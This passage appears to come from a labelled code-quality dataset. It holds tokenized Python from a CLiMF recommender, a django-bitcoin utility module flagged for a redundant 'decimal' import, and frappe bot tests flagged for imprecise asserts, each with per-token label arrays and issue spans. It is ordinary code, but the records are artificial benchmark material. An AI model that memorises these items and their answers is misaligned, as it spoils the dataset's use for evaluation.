"\\", "10", ";", " ", " ", "data", ":", " ", "sci", "py", " ", "csr", " ", "spars", "e", " ", "matrix", " ", "contain", "ing", " ", "user", "->", "(", "item", ",", "count", ")", "\\", "10", ";", " ", " ", "U", " ", " ", " ", ":", " ", "user", " ", "factor", "s", "\\", "10", ";", " ", " ", "V", " ", " ", " ", ":", " ", "item", " ", "factor", "s", "\\", "10", ";", " ", " ", "lb", "da", ":", " ", "regularization", " ", "constant", " ", "lambda", "\\", "10", ";", " ", " ", " ", " ", "return", "s", ":", "\\", "10", ";", " ", " ", "current", " ", "value", " ", "of", " ", "F", "(", "U", ",", "V", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "F_", "=_", "-_", "0.5_", "*_", "self_", "._", "lb", "da_", "*_", "(_", "np_", "._", "sum_", "(_", "self_", "._", "U_", "*_", "self_", "._", "U_", ")_", "+_", "np_", "._", "sum_", "(_", "self_", "._", "V_", "*_", "self_", "._", "V_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "U_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "self_", "._", "precompute", "\\u", "f_", "(_", "data_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", "+=_", "log_", "(_", "g_", "(_", "f_", "[_", "j_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "F_", "+=_", "log_", "(_", "1_", "-_", "g_", "(_", "f_", "[_", "k_", "]_", "-_", "f_", "[_", "j_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "F_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "update", " ", "user", "/", "item", " ", "factor", "s", " ", "usi", "ng", " ", "stochastic", " ", "gradi", "ent", " ", "ascen", "t", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "params", ":", "\\", "10", ";", " ", " ", "data", " ", ":", " ", "sci", "py", " ", "csr", " ", "spars", "e", " ", "matrix", " ", "contain", "ing", " ", "user", "->", "(", "item", ",", "count", ")", "\\", "10", ";", " ", " ", "U", " ", " ", " ", " ", ":", " ", "user", " ", "factor", "s", "\\", "10", ";", " ", " ", "V", " ", " ", " ", " ", ":", " ", "item", " ", "factor", "s", "\\", "10", ";", " ", " ", "lb", "da", " ", ":", " ", "regularization", " ", "constant", " ", "lambda", "\\", "10", ";", " ", " ", "gamma", ":", " ", "learn", "ing", " ", "rate", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "U_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d", "U_", "=_", "-_", "self_", "._", "lb", "da_", "*_", "self_", "._", "U_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "self_", "._", "precompute", "\\u", "f_", "(_", "data_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d", "V_", "=_", "g_", "(_", "-_", "f_", "[_", "j_", "]_", ")_", "-_", "self_", "._", "lb", "da_", "*_", "self_", "._", "V_", "[_", "j_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "d", "V_", "+=_", "dg_", "(_", "f_", "[_", "j_", "]_", "-_", "f_", "[_", "k_", "]_", ")_", "*_", "(_", "1_", "/_", "(_", "1_", "-_", "g_", "(_", "f_", "[_", "k_", "]_", "-_", "f_", "[_", "j_", "]_", ")_", ")_", "-_", "1_", "/_", "(_", "1_", "-_", "g_", "(_", "f_", "[_", "j_", "]_", "-_", "f_", "[_", "k_", "]_", ")_", ")_", ")_", "*_", "self_", "._", "U_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "V_", "[_", "j_", "]_", "+=_", "self_", "._", "gamma_", "*_", "d", "V_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d", "U_", "+=_", "g_", "(_", "-_", "f_", "[_", "j_", "]_", ")_", "*_", "self_", "._", "V_", "[_", "j_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "d", "U_", "+=_", "(_", "self_", "._", "V_", "[_", "j_", "]_", "-_", "self_", "._", "V_", "[_", "k_", "]_", ")_", "*_", "dg_", "(_", "f_", "[_", "k_", "]_", "-_", "f_", "[_", "j_", "]_", ")_", "/_", "(_", "1_", "-_", "g_", "(_", "f_", "[_", "k_", "]_", "-_", "f_", "[_", "j_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "U_", "[_", "i_", "]_", "+=_", "self_", "._", "gamma_", "*_", "d", "U_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "\\u", "mr", "r_", "(_", "self_", ",_", "data_", ",_", "test\\u", "users_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "compute", " ", "averag", "e", " ", "Mea", "n", " ", "Recip", "roc", "al", " ", "Rank", " ", "of", " ", "data", " ", "according", " ", "to", " ", "factor", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "params", ":", "\\", "10", ";", " ", " ", "data", " ", " ", ":", " ", "sci", "py", " ", "csr", " ", "spars", "e", " ", "matrix", " ", "contain", "ing", " ", "user", "->", "(", "item", ",", "count", ")", "\\", "10", ";", " ", " ", "U", " ", " ", " ", " ", " ", ":", " ", "user", " ", "factor", "s", "\\", "10", ";", " ", " ", "V", " ", " ", " ", " ", " ", ":", " ", "item", " ", "factor", "s", "\\", "10", ";", " ", " ", "test\\u", "users", ":", " ", "option", "al", " ", "subse", "t", " ", "of", " ", "users", " ", "over", " ", "whi", "ch", " ", "to", " ", "compute", " ", "MR", "R", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "return", "s", ":", "\\", "10", ";", " ", " ", "the", " ", "mean", " ", "MR", "R", " ", "over", " ", "all", " ", "users", " ", "in", " ", "data", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mr", "r_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "test\\u", "users_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "users_", "=_", "range_", "(_", "len_", "(_", "self_", "._", "U_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ix_", ",_", "i_", "in_", "enumerate_", "(_", "test\\u", "users_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "items_", "=_", "set_", "(_", "data_", "[_", "i_", "]_", "._", "indices_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "items_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "predictions_", "=_", "np_", "._", "sum_", "(_", "np_", "._", "tile_", "(_", "self_", "._", "U_", "[_", "i_", "]_", ",_", "(_", "len_", "(_", "self_", "._", "V_", ")_", ",_", "1_", ")_", ")_", "*_", "self_", "._", "V_", ",_", "axis_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rank_", ",_", "item_", "in_", "enumerate_", "(_", "np_", "._", "argsort_", "(_", "predictions_", ")_", "[_", ":_", ":_", "-_", "1_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "item_", "in_", "items_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "mr", "r_", "._", "append_", "(_", "1.0_", "/_", "(_", "rank_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "found_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "fail", ",", " ", "no", " ", "rele", "van", "t", " ", "items", " ", "predi", "cte", "d", " ", "for", " ", "test", " ", "user", " ", "{", "0", "}'_", "._", "format_", "(_", "i_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "know", "n", " ", "items", ":", " ", "{", "0", "}'_", "._", "format_", "(_", "items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "(_", "len_", "(_", "mr", "r_", ")_", "==_", "len_", "(_", "test\\u", "users_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "np_", "._", "mean_", "(_", "mr", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mre", "c_", "import_", "load", "\\u", "spars", "e\\u", "matrix_", ",_", "save", "\\u", "recommende", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mre", "c_", "._", "mf_", "._", "clim", "f_", "import_", "CL", "i", "MF", "Recommend", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "format_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filepath_", "=_", "sys_", "._", "argv_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outfile_", "=_", "sys_", "._", "argv_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "load", " ", "train", "ing", " ", "set", " ", "as", " ", "sci", "py", " ", "spars", "e", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "train_", "=_", "load", "\\u", "spars", "e\\u", "matrix_", "(_", "file", "\\u", "format_", ",_", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "=_", "CL", "i", "MF", "Recommend", "er_", "(_", "d_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "fit_", "(_", "train_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "save", "\\u", "recommende", "r_", "(_", "model_", ",_", "outfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported with 'import' and 'import from'
kangasbros/django-bitcoin/django_bitcoin/utils.py
[ { "content": "# vim: tabstop=4 expandtab autoindent shiftwidth=4 fileencoding=utf-8\n\nimport os\nimport json\nimport jsonrpc\nimport sys\nimport urllib\nimport urllib2\nimport random\nimport hashlib\nimport base64\nfrom decimal import Decimal\nimport decimal\nimport warnings\n\nfrom django.core.cache import cache\nfrom django.db import transaction\n\nfrom django_bitcoin import settings\nfrom django_bitcoin import currency\n\nfrom pywallet import privkey2address\n\n# BITCOIND COMMANDS\n\n\n\n\n\n\n\nbitcoind = BitcoindConnection(settings.BITCOIND_CONNECTION_STRING,\n settings.MAIN_ACCOUNT)\n\n\n\n\n\n# --------\n\n\n\n\n# ------\n\n# generate a random hash\n\nimport string\n\nALPHABET = string.ascii_uppercase + string.ascii_lowercase + \\\n string.digits + '_-'\nALPHABET_REVERSE = dict((c, i) for (i, c) in enumerate(ALPHABET))\nBASE = len(ALPHABET)\nSIGN_CHARACTER = '%'\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import decimal", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "vim", ":", " ", "tabs", "top", "=", "4", " ", "expand", "tab", " ", "autoi", "nden", "t", " ", "shift", "widt", "h", "=", "4", " ", "file", "encoding", "=", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "jsonrpc", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decimal_", "import_", "Decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "cache_", "import_", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "transaction_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django", "\\u", "bitcoin", "_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django", "\\u", "bitcoin", "_", "import_", "currency_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyw", "alle", "t_", "import_", "priv", "key", "2a", "ddress", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "BIT", "COI", "ND", " ", "COMMANDS_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bitcoin", "d_", "=_", "Bit", "coin", "d", "Connection_", "(_", "settings_", "._", "BIT", "COI", "ND", "\\u", "CONNECTION", "\\u", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "._", "MAIN", "\\u", "ACCOUNT", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "generat", "e", " ", "a", " ", "random", " ", "hash_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ALPHA", "BET", "_", "=_", "string_", "._", "ascii", "\\u", "uppercase_", "+_", "string_", "._", "ascii", "\\u", "lowercase_", "+_", "string_", "._", "digits_", "+_", "'\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ALPHA", "BET", "\\u", "REVERSE", "_", "=_", "dict_", "(_", "(_", "c_", ",_", "i_", ")_", "for_", "(_", "i_", ",_", "c_", ")_", "in_", "enumerate_", "(_", "ALPHA", "BET", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "BASE_", "=_", "len_", "(_", "ALPHA", "BET", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SIGN", "\\u", "CHARACTER", "_", "=_", "'%'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
frappe/frappe/frappe/tests/test_bot.py
[ { "content": "\tdef test_open_notifications(self):\n\t\treply = BotReply().get_reply('whatsup')\n\t\tself.assertTrue('your attention' in reply)", "metadata": "root.TestBot.test_open_notifications", "header": "['class', 'TestBot', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 15 }, { "content": "\tdef test_find(self):\n\t\treply = BotReply().get_reply('find user in doctypes')\n\t\tself.assertTrue('[User](#Form/DocType/User)' in reply)", "metadata": "root.TestBot.test_find", "header": "['class', 'TestBot', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 19 }, { "content": "\tdef test_not_found(self):\n\t\treply = BotReply().get_reply('find yoyo in doctypes')\n\t\tself.assertTrue('Could not find' in reply)", "metadata": "root.TestBot.test_not_found", "header": "['class', 'TestBot', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 23 }, { "content": "\tdef test_list(self):\n\t\treply = BotReply().get_reply('list users')\n\t\tself.assertTrue('[[email protected]]' in reply)", "metadata": "root.TestBot.test_list", "header": "['class', 'TestBot', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 27 }, { "content": "\tdef test_how_many(self):\n\t\treply = BotReply().get_reply('how many users')\n\t\tself.assertTrue(int(reply) > 1)", "metadata": "root.TestBot.test_how_many", "header": "['class', 'TestBot', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 31 } ]
[ { "span": "self.assertTrue('your attention' in reply)", "start_line": 17, "start_column": 2, "end_line": 17, "end_column": 44 }, { "span": "self.assertTrue('[User](#Form/DocType/User)' in reply)", "start_line": 21, "start_column": 2, "end_line": 21, "end_column": 56 }, { "span": "self.assertTrue('Could not find' in reply)", "start_line": 25, "start_column": 2, "end_line": 25, "end_column": 44 }, { "span": "self.assertTrue('[[email protected]]' in reply)", "start_line": 29, "start_column": 2, "end_line": 29, "end_column": 48 }, { "span": "self.assertTrue(int(reply) > 1)", "start_line": 33, "start_column": 2, "end_line": 33, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Bot_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "open", "\\u", "notifications_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "reply_", "=_", "Bot", "Reply_", "(_", ")_", "._", "get", "\\u", "reply_", "(_", "'", "whats", "up", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "your", " ", "atten", "tion", "'_", "in_", "reply_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Bot_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "find_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "reply_", "=_", "Bot", "Reply_", "(_", ")_", "._", "get", "\\u", "reply_", "(_", "'", "find", " ", "user", " ", "in", " ", "doct", "ype", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'[", "User", "](", "#", "Form", "/", "Doc", "Type", "/", "User", ")'_", "in_", "reply_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Bot_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "not", "\\u", "found_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "reply_", "=_", "Bot", "Reply_", "(_", ")_", "._", "get", "\\u", "reply_", "(_", "'", "find", " ", "yo", "yo", " ", "in", " ", "doct", "ype", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Cou", "ld", " ", "not", " ", "find", "'_", "in_", "reply_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Bot_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "reply_", "=_", "Bot", "Reply_", "(_", ")_", "._", "get", "\\u", "reply_", "(_", "'", "list", " ", "users", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'[", "test", "@", "example", ".", "com", "]'_", "in_", "reply_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Bot_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "how", "\\u", "many_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "reply_", "=_", "Bot", "Reply_", "(_", ")_", "._", "get", "\\u", "reply_", "(_", "'", "how", " ", "many", " ", 